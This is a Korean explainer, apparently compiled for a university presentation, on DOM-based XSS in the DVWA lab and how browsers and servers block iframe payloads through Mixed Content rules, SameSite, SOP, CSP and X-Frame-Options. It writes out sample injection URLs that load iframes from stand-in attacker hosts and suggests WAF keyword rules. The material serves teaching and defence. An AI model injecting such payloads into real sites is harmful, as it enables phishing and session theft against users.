

```
<iframe src="http://해커서버...">
```

1. DOM-based XSS의 기본 원리 (도입부)

- 개념: 서버를 거치지 않고, 클라이언트(브라우저) 측의 자바스크립트가 사용자 입력값(URL 파라미터 등)을 안전하게 검증하지 않고 **DOM(Document Object Model)**(문서 객체 모델)에 반영할 때 발생하는 취약점입니다.
- DVWA 예시: DVWA의 DOM XSS 탭에서는 `?default=English` 같은 URL 파라미터 값을 JavaScript의 `document.write()` 등을 통해 화면에 그대로 출력합니다. 이때 `default` 값에 악성 스크립트나 `<iframe>` 태그를 삽입해 공격을 시도합니다.

2. XSS에서 **iframe**을 사용하는 이유

해커들은 XSS 공격을 할 때 단순히 `alert(1)`을 띄우는 것이 아니라, 실질적인 피해를 주기 위해 `<iframe>` 태그를 자주 활용합니다.

- 외부 악성 스크립트 로드: 길이 제한이 있는 입력 폼을 우회하여, 공격자 서버에 있는 크고 복잡한 악성 자바스크립트를 불러옵니다.
- 피싱(Phishing): 정상적인 페이지 위에 보이지 않는(또는 교묘하게 꾸민) `iframe`을 덮어씌워 사용자의 로그인 자격 증명을 탈취합니다.

3. 핵심: **iframe**과 HTTPS 충돌 이슈 (Mixed Content 정책)

이 부분이 교수님이 강조하신 발표의 메인 포인트입니다.

최신 웹 환경에서는 타겟 사이트(DVWA)가 **HTTPS**로 서비스되고 있을 때, 공격자가 HTTP 환경의 해커 서버를 `iframe`으로 불러오려 하면 브라우저가 이를 강제로 차단합니다. 이를 **혼합된 콘텐츠(Mixed Content) 차단 정책**이라고 합니다.

- **Mixed Content(혼합된 콘텐츠)란?**
 - 안전한 암호화 통신(HTTPS)을 사용하는 웹 페이지 내에서, 암호화되지 않은 일반 통신(HTTP)을 통해 리소스(스크립트, 이미지, `iframe` 등)를 불러오는 것을 의미합니다.
- 브라우저의 차단(**Active Mixed Content**):
 - 단순 이미지(Passive)는 경고만 띄우고 보여주기도 하지만, `iframe`이나 `<script>`처럼 페이지의 보안을 위협할 수 있는 '**활성 콘텐츠(Active Content)**'는 크롬, 엣지, 사파리 등 현대 브라우저에서 즉시 로드를 차단합니다.
- 공격 실패 원인:
 - DVWA가 HTTPS로 구동 중일 때, 사용자가 `?default=<iframe src="[http://attacker.com/malware.html]"(http://attacker.c`

om/malware.html)"> 형태의 페이로드를 넣으면 취약점 자체는 존재하지만, 브라우저 콘솔에 "Mixed Content Error"가 발생하며 공격이 무력화됩니다.

4. 추가로 언급하면 좋은 관련 보안 정책 (심화)

최신 브라우저들이 iframe을 통한 크로스 사이트(Cross-Site) 요청을 어떻게 추가로 방어하는지

- **SameSite 쿠키 정책 (HTTPS 필수):**
 - 공격자가 iframe을 통해 사용자의 세션 쿠키를 탈취하려 할 때, 브라우저는 기본적으로 타사 도메인 간 쿠키 전송을 막습니다(SameSite=Lax).
 - 이를 우회하려면 SameSite=None 속성을 써야 하는데, 이 속성은 반드시 Secure 속성(즉, HTTPS 통신)과 함께 쓰일 때만 동작합니다. 해커 서버가 HTTP라면 쿠키 탈취 시도 자체가 막힙니다.
- **X-Frame-Options (XFO) & CSP:**
 - 반대로 해커가 악성 사이트 내부에 타겟 사이트를 iframe으로 불러와 클릭재킹(Clickjacking)을 시도할 때, 타겟 사이트에서 X-Frame-Options: DENY 또는 Content-Security-Policy: frame-ancestors 헤더를 설정해 두면 iframe 렌더링 자체가 차단됩니다.

1. DOM이란 정확히 무엇인가?

DOM(Document Object Model)은 쉽게 말해 브라우저가 HTML 문서를 이해하기 위해 만든 '구조도(트리)'입니다. 우리가 웹페이지를 볼 때, 자바스크립트는 이 DOM을 조작해서 화면의 글씨를 바꾸거나 팝업을 띄웁니다.

- **DOM XSS** 취약점: 서버는 아무 잘못이 없는데, 클라이언트(브라우저)에서 돌아가는 자바스크립트가 사용자의 입력값(예: URL 파라미터)을 검증 없이 DOM에 그대로 옥여넣을 때 발생합니다.

2. DOM과 iframe은 무슨 연관인가?

DOM XSS는 '취약점(문)'이고, iframe은 그 문을 통과해 공격을 수행하는 '무기(페이로드)'입니다.

해커가 DOM XSS 취약점을 발견했을 때, 긴 악성 코드를 URL에 직접 넣으면 길이가 잘리거나 의심받기 쉽습니다. 그래서 `<iframe src="해커서버/malware.html">`라는 아주 짧은 코드만 취약한 DOM에 삽입합니다.

3. 오해 바로잡기: 해커도 HTTPS를 쓰면 막히는가?

"해커가 본인의 악성 사이트에도 HTTPS를 적용하면 차단되어 사라진 기법인가?" — 아닙니다.

만약 타겟 사이트(DVWA)가 HTTPS이고, 해커도 HTTPS 인증서를 발급받아 `<iframe src="https://해커서버...">`를 삽입한다면, 앞서 말씀드린 **Mixed Content**(혼합된 콘텐츠) 차단 정책은 통과합니다.

그럼에도 불구하고 이 공격이 최신 환경에서 잘 안 먹히고 '사라진 기법'처럼 치부되는 진짜 이유는, **HTTPS** 말고도 브라우저에 겹겹이 쳐진 다른 보안 방패들 때문입니다.

- 진짜 차단 원인 1: **CSP (Content Security Policy)** 최신 웹사이트들은 서버에서 브라우저에게 "내 사이트에서는 내가 허락한 도메인(예: youtube.com)의 iframe만 열어!"라고 지시를 내립니다. 해커가 HTTPS를 쓰든 말든, 허락받지 않은 도메인이기 때문에 브라우저가 렌더링을 거부합니다.
- 진짜 차단 원인 2: 쿠키 보안 정책 (**SameSite**) iframe을 띄우는 목적이 세션(로그인) 쿠키를 훔치는 것인데, 최신 브라우저는 다른 도메인(해커 도메인)의 iframe 안에서 본래 사이트의 인증 쿠키에 접근하는 것을 원천 차단해 버립니다.

1. 오해 교정: DNS는 통신 내용을 모릅니다 (DNS vs WAF)

- 단어 차단을 하는 곳 (**WAF**): 외부에서 들어오는 공격 코드를 파싱하고 차단하는 역할은 WAF(Web Application Firewall, 웹 방화벽)가 담당합니다. WAF에 "URL이나 입력값에 `<iframe>`, `<script>` 같은 단어가 들어오면 연결을 끊어버려라"라는 룰셋을 등록하는 것이 맞습니다.

2. CSP(Content Security Policy)의 진짜 작동 방식

CSP는 방화벽처럼 서버 입구에서 단어를 걸러내는 것이 아닙니다. 서버가 피해자의 '브라우저'에게 내리는 보안 지침서입니다.

- 작동 방식: 서버는 웹페이지를 응답할 때 HTTP 헤더에 CSP 룰을 적어 보냅니다. (예: "우리 사이트에서는 **dvwa.com** 도메인에서 온 **iframe**이나 **script**만 실행해!")
- 방어 효과: 피해자가 악성 링크를 눌러서 화면(DOM)에 해커의 **<iframe src="http://hacker.com">** 코드가 삽입되더라도, 피해자의 브라우저가 CSP 정책을 확인하고 "어? 서버가 **hacker.com**은 허락 안 했는데?" 하며 스스로 **iframe** 로딩을 차단해 버립니다.

3. DOM XSS를 막는 가장 완벽한 대책: 시큐어 코딩

방화벽(WAF)에서 **iframe** 단어를 차단하는 것도 좋지만, 앞서 말씀드린 **#(해시)** 기호를 쓴 공격은 서버나 방화벽에 아예 도달하지 않고 브라우저에서만 처리된다고 했죠? 이 경우 방화벽은 무용지물이 됩니다.

따라서 DOM XSS를 막는 가장 근본적인 방법은 개발자가 자바스크립트 코드(프론트엔드)를 안전하게 짜는 것입니다.

- 위험한 방식 (HTML로 해석함): 자바스크립트에서 **innerHTML**이나 **document.write()** 함수를 쓰면, 들어온 값을 HTML 태그로 인식해서 **iframe**을 렌더링해 버립니다.
- 안전한 방식 (단순 텍스트로 취급함): **innerText**나 **textContent** 함수를 쓰면, 해커가 **<iframe...>**을 넣어도 화면에 글자 그대로 **<iframe...>** 이라는 문자가 출력될 뿐, 진짜 창이 뚫리지 않습니다.

1. 해커의 가짜 도메인 접속 시 발생하는 일 (SOP의 방어)

해커가 만든

http://dvwa.hacker.com/malicious.php 링크를 피해자가 클릭했다고 가정해 봅시다. 화면은 DVWA와 똑같이 생겼겠지만, 브라우저 주소창은 **dvwa.hacker.com**을 가리키고 있습니다.

- SOP (Same-Origin Policy, 동일 출처 정책): 브라우저는 철저하게 '도메인(Origin)'을 기준으로 데이터를 격리합니다.
- 피해자가 이전에 진짜 **dvwa.com**에 로그인해서 브라우저에 '진짜 세션 쿠키'가 저장되어 있더라도, 지금 접속한 곳은 **hacker.com**이기 때문에 브라우저가 진짜 쿠키를 이 가짜 사이트의 자바스크립트에 절대 넘겨주지 않습니다.
- 결론: 해커가 아무리 사이트를 똑같이 만들고 **iframe**을 띄웠다고 해도, 도메인 자체가 다르면 XSS의 주 목적인 '기존 로그인 세션(쿠키) 탈취'가 불가능합니다. (물론 피해자가 속아서 아이디/비번을 새로 타이핑하게 만드는 '피싱'으로는 성공합니다.)

2. 해커가 가짜 사이트 안에 "진짜 DVWA"를 iframe으로 띄운다면? (클릭재킹)

해커가 머리를 써서, 자신의 가짜 사이트(dvwa.hacker.com) 안에 투명한 **iframe**을 만들고, 그 **iframe**의 **src**를 진짜 DVWA

사이트([\[http://real-dvwa.com\]](http://real-dvwa.com) (<http://real-dvwa.com>))로 연결해 둡니다. 피해자가 가짜 사이트의 '이벤트 당첨' 버튼을 누를 때, 실제로는 투명하게 겹쳐진 '진짜 사이트의 송금 버튼'이 눌리게 만드는 수법이죠.

이것을 클릭재킹(Clickjacking)이라고 부릅니다.

하지만 앞서 말씀하신 보안 정책(HTTP 헤더)이 여기서 진짜 힘을 발휘합니다.

- 방어 수단 (**X-Frame-Options / CSP**): 진짜 DVWA 서버 관리자가 서버 설정(Nginx, Apache 등)에 **X-Frame-Options: DENY** 또는 **Content-Security-Policy: frame-ancestors 'none'** 이라는 룰을 한 줄 넣어둡니다.
- 방어 결과: 피해자의 브라우저가 해커의 사이트를 열다가, 진짜 DVWA를 **iframe**으로 불러오려는 순간 저 헤더를 발견합니다. 브라우저는 "어? 진짜 DVWA 서버가 다른 사이트에서 자기를 **iframe**으로 띄우는 걸 금지했네?" 하고 **iframe** 안을 백지로 만들어 버립니다.

3. 왜 해커들은 굳이 '진짜 도메인'에 코드를 옥여넣으려 (XSS) 하는가?

해커가 내 DNS를 파서 내 Nginx에 사이트를 올리면 너무나 쉽습니다. 하지만 앞서 말한 브라우저의 SOP 정책 때문에 '진짜 세션(권한)'을 훔칠 수가 없습니다.

그래서 해커들은 기를 쓰고 진짜 도메인(dvwa.com)의 URL 끝자락에 악성 스크립트를 삽입(DOM XSS)하려고 하는 것입니다. 진짜 도메인 주소창 위에서 스크립트가 실행되어야만, 브라우저가 안심하고 진짜 세션 쿠키를 내어주기 때문입니다.

1. 차단의 주체는 서버가 아닌 브라우저

DOM XSS의 가장 큰 특징은 악성 코드가 서버에서 처리되는 것이 아니라는 점입니다. 해커가 보낸 URL 끝에 달린 **<iframe...>** 코드는 DVWA 서버가 아니라, 피해자의 PC에서 돌아가는 브라우저의 자바스크립트가 읽고 화면(DOM)에 그립니다. 따라서 그 **iframe**을 처내는(차단하는) 방패 역할도 방화벽이나 서버가 아니라 브라우저의 자체 보안 기능이 담당합니다.

2. 교수님이 원하시는 발표의 3단계 핵심

발표하실 때는 딱 이 세 가지 순서로 전개하시면 교수님의 출제 의도에 완벽하게 부합합니다.

1. 공격 시도 (**DOM XSS 발생**): 해커가 조작한 URL(DVWA 주소 + 악성 **iframe** 코드)을 피해자가 클릭합니다. DVWA의 취약한 프론트엔드 코드(자바스크립트)가 입력값을 검증 없이 화면에 그리려 시도합니다.
2. **HTTPS** 이슈 직면 (**Mixed Content**): 현재 DVWA 사이트가 암호화된 **HTTPS**로 서비스되고 있는데, 해커가 삽입한 **iframe**은 일반 **HTTP** 통신을 시도합니다.
3. 브라우저의 강제 차단: 피해자의 웹 브라우저가 "안전한 **HTTPS** 페이지에서 암호화되지 않은 **HTTP** 스크립트(활성 콘텐츠)를 실행할 수 없다"고 판단하여 **Mixed Content**(혼합된 콘텐츠) 차단 정책을 발동합니다. **iframe**은 백지로 남고 공격은 무력화됩니다.

3. 서버(DVWA)가 해야 하는 일

그렇다면 DVWA 서버는 아무것도 안 해도 될까요? 아닙니다. 서버가 직접 방어벽을 치는 것은 아니지만, 브라우저에게 보안 지시서를 내려보내야 합니다. 서버는 응답을 보낼 때 **HTTP** 헤더에 **CSP (Content-Security-Policy)**를 설정하여, 브라우저에게 "우리 사이트는 외부 도메인의 **iframe** 로드를 절대 허용하지 않으니, 보이면 즉시 차단해"라고 룰을 정해줍니다.

1. 현실적인 걸림돌: 웹사이트는 생각보다 복잡하다

만약 우리 사이트가 오직 우리 **DNS(dvwa.com)** 안에서만 모든 것을 해결한다면 **CSP** 설정은 식은 죽 먹기입니다. 하지만 요즘 웹사이트들은 그렇지 않습니다.

- 유튜브 영상 임베드: **youtube.com**에서 **iframe**을 불러와야 합니다.
- 결제 모듈: 외부 **PG사**(결제 대행사)의 **iframe** 창을 띄워야 합니다.
- 기타 리소스: 구글 폰트, 카카오톡 공유하기 **API**, 광고 스크립트 등 수많은 외부 도메인이 얹혀 있습니다.

그래서 관리자는 우리 사이트가 쓰는 모든 외부 도메인을 일일이 파악해서

Content-Security-Policy: frame-src 'self'

https://www.youtube.com

`[https://kakaopay.com](https://kakaopay.com);` 처럼 일일이 허용 리스트를 작성해야 합니다. 만약 하나라도 빼먹으면 정상적인 기능이 작동하지 않아 서비스 장애가 터지기 때문에, 실무에서는 이 리스트를 고르는 작업에 꽤 공을 들입니다.

2. CSP를 넣는 구체적인 방법 (Nginx / Apache 예시)

서버 관리자가 이 룰셋을 적용하는 방법은 생각보다 정말 간단합니다. 웹 서버 설정 파일에 헤더를 추가하라는 명령 한 줄만 넣으면 됩니다.

Nginx 설정 예시:

Nginx

우리 사이트('self')의 iframe만 허용하고, 나머지는 전면 차단하는 CSP 헤더 추가

```
add_header Content-Security-Policy "frame-src 'self';";
```

Apache 설정 예시:

Apache

Apache 환경에서의 CSP 헤더 설정

```
Header set Content-Security-Policy "frame-src 'self';"
```

이렇게 설정해 두면 서버는 모든 사용자에게 웹페이지를 던질 때 이 지시서를 함께 보냅니다. 그러면 피해자가 해커가 보낸 함정 링크(`?default=<iframe src="[http://hacker.com](http://hacker.com)">`)를 클릭해 브라우저가 화면을 그리려고 하다가도, 서버가 준 지시서를 보고 "어? **hacker.com**은 허용 리스트에 없네?" 하고 단칼에 차단해 버리는 것이죠.